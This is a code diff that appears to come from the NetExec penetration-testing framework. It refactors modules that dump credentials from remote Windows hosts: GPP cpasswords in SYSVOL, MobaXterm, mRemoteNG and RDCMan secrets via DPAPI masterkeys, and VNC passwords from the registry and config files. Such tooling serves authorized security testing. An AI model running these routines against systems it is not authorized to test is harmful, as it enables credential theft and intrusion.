context.log.display(f"Found {path}")
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
xml_section = xml.findall(".//Properties")
|
||||
|
||||
xml_section = xml.findall(".//Properties")
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
+57
-62
@@ -21,82 +21,77 @@ class NXCModule:
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
|
||||
sysvol = share["name"]
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
sysvol,
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(sysvol, path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
|
||||
def decrypt_cpassword(self, cpassword):
|
||||
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
|
||||
@@ -1,62 +1,34 @@
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
|
||||
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
context.log.success("Looting MobaXterm secrets")
|
||||
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
+12
-52
@@ -1,12 +1,10 @@
|
||||
import ntpath
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -25,7 +23,7 @@ class NXCModule:
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -42,6 +40,7 @@ class NXCModule:
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
@@ -68,70 +67,31 @@ class NXCModule:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share
|
||||
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
|
||||
self.dploot_conn = connection.dpapi_triage.conn
|
||||
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
users = self.dploot_conn.list_users()
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
# Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
content = self.dploot_conn.read_file(share=self.share, path=user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -152,7 +112,7 @@ class NXCModule:
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
@@ -166,7 +126,7 @@ class NXCModule:
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
directory_list = conn.list_dir(share=self.share, path=directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
@@ -178,7 +138,7 @@ class NXCModule:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
content = conn.read_file(share=self.share, path=new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
|
||||
+6
-33
@@ -1,55 +1,28 @@
|
||||
from dploot.triage.rdg import RDGTriage, RDGServerProfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rdcman"
|
||||
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
|
||||
context.log.success("Looting RDCMan secrets")
|
||||
|
||||
try:
|
||||
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
|
||||
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
|
||||
rdcman_files, rdgfiles = triage.triage_rdcman()
|
||||
for rdcman_file in rdcman_files:
|
||||
if rdcman_file is None:
|
||||
@@ -58,7 +31,7 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
@@ -66,6 +39,6 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
+10
-1
@@ -101,7 +101,8 @@ class NXCModule:
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
if wmi_rdp._RdpWmi__dcom is not None:
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
|
||||
|
||||
class RdpSmb:
|
||||
@@ -222,6 +223,14 @@ class RdpWmi:
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
self.__dcom = None
|
||||
if self.__currentprotocol == "wmi":
|
||||
# The wmi protocol already holds an authenticated IWbemLevel1Login:
|
||||
# reuse it instead of creating a second DCOMConnection to the same
|
||||
# target (whose disconnect would clash with the protocol's own)
|
||||
self.__iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
return
|
||||
|
||||
try:
|
||||
self.__dcom = DCOMConnection(
|
||||
self.__target,
|
||||
|
||||
+41
-102
@@ -1,18 +1,14 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket import winregistry
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
|
||||
from Cryptodome.Cipher import DES
|
||||
from binascii import unhexlify
|
||||
import codecs
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -23,7 +19,7 @@ class NXCModule:
|
||||
|
||||
name = "vnc"
|
||||
description = "Loot Passwords from VNC server and client configurations"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -49,79 +45,40 @@ class NXCModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = self.connection.args.share
|
||||
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
|
||||
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
dploot_conn = connection.dpapi_triage.conn
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
|
||||
if not self.no_remoteops:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
self.vnc_from_registry(remote_ops)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
|
||||
self.vnc_from_registry(dploot_conn)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn)
|
||||
self.vnc_from_filesystem(dploot_conn)
|
||||
|
||||
def reg_query_value(self, remote_ops, path, key, hku=False):
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
path,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
data = None
|
||||
try:
|
||||
_, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
key,
|
||||
)
|
||||
return data
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
|
||||
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn):
|
||||
vnc_client_softwares = [
|
||||
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
|
||||
]
|
||||
users = self.get_users(remote_ops)
|
||||
users = self.get_users(dploot_conn)
|
||||
if dploot_conn.target.protocol != "smb":
|
||||
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
|
||||
for user, sid in users.items():
|
||||
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
|
||||
try:
|
||||
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
|
||||
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
|
||||
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
|
||||
cred = {}
|
||||
if ntuser_dat_bytes is None and remote_ops is not None:
|
||||
if ntuser_dat_bytes is None:
|
||||
user_registry_path = ntpath.join(sid, registry_path)
|
||||
try:
|
||||
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
|
||||
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
|
||||
if password is None:
|
||||
continue
|
||||
password = password.encode().rstrip(b"\x00").decode()
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
|
||||
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
|
||||
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
|
||||
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
|
||||
@@ -139,9 +96,9 @@ class NXCModule:
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
|
||||
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
|
||||
def vnc_from_registry(self, remote_ops):
|
||||
def vnc_from_registry(self, dpapi_conn):
|
||||
vncs = (
|
||||
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
|
||||
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
|
||||
@@ -152,10 +109,12 @@ class NXCModule:
|
||||
)
|
||||
for vnc_name, path, key in vncs:
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, key)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
|
||||
else:
|
||||
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
continue
|
||||
if value is None:
|
||||
continue
|
||||
@@ -163,7 +122,7 @@ class NXCModule:
|
||||
password = self.recover_vncpassword(value)
|
||||
if password is None:
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
|
||||
vnc_users = (
|
||||
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
|
||||
@@ -171,7 +130,10 @@ class NXCModule:
|
||||
for vnc_name, path, user, password, server in vnc_users:
|
||||
cred = {}
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
|
||||
if value is None:
|
||||
continue
|
||||
value = value.encode().rstrip(b"\x00").decode()
|
||||
value = unhexlify(value)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
@@ -181,13 +143,13 @@ class NXCModule:
|
||||
continue
|
||||
cred["password"] = self.recover_vncpassword(value).decode()
|
||||
try:
|
||||
cred["server"] = self.reg_query_value(remote_ops, path, server)
|
||||
cred["user"] = self.reg_query_value(remote_ops, path, user)
|
||||
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
|
||||
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
|
||||
def split_len(self, seq, length):
|
||||
return [seq[i:i + length] for i in range(0, len(seq), length)]
|
||||
@@ -230,8 +192,8 @@ class NXCModule:
|
||||
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
|
||||
)
|
||||
|
||||
for vnc_name, file in vncs:
|
||||
file_content = dploot_conn.readFile(self.share, file)
|
||||
for vnc_name, filepath in vncs:
|
||||
file_content = dploot_conn.read_file(share=self.share, path=filepath)
|
||||
if file_content is not None:
|
||||
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
|
||||
for regex in regex_passwd:
|
||||
@@ -239,39 +201,16 @@ class NXCModule:
|
||||
for passwd_encrypted in passwds_encrypted:
|
||||
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
|
||||
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = {}
|
||||
